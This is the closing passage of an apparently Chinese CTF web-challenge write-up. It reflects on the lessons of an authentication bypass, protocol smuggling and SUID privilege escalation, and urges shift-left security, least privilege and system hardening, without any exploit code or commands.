这道赛题也给Web安全开发和运维带来了重要的启示:安全是一个系统性的工程,而非单一的技术点。一个看似完善的鉴权机制,可能因一个异常处理的疏忽被完全绕过;一个自定义的内部协议,可能因未做长度检查导致协议走私;一个不经意的SUID权限配置,可能成为攻击者提权的突破口。
在实际的Web开发和运维中,需始终秉持**"安全左移"和"最小权限"**的原则,将安全融入到代码编写、协议设计、系统配置、运维部署的每一个环节:开发人员需掌握编程语言的特性,编写鲁棒的代码,做好异常处理和输入校验;协议设计人员需遵循成熟的安全准则,做好协议的完整性和合法性校验;运维人员需严格配置系统权限,定期审计和加固系统,及时发现并修复漏洞。
只有从代码、协议、系统、运维 四个层面构建全方位的安全防御体系,才能真正抵御攻击者的入侵,保障Web服务的安全稳定运行。而对于安全从业者来说,这道赛题也让我们认识到:漏洞挖掘的核心不仅是技术的掌握,更是对细节的关注和对攻击链路的思考,只有从攻击者的角度出发,才能发现并修复那些隐藏在细节中的安全漏洞。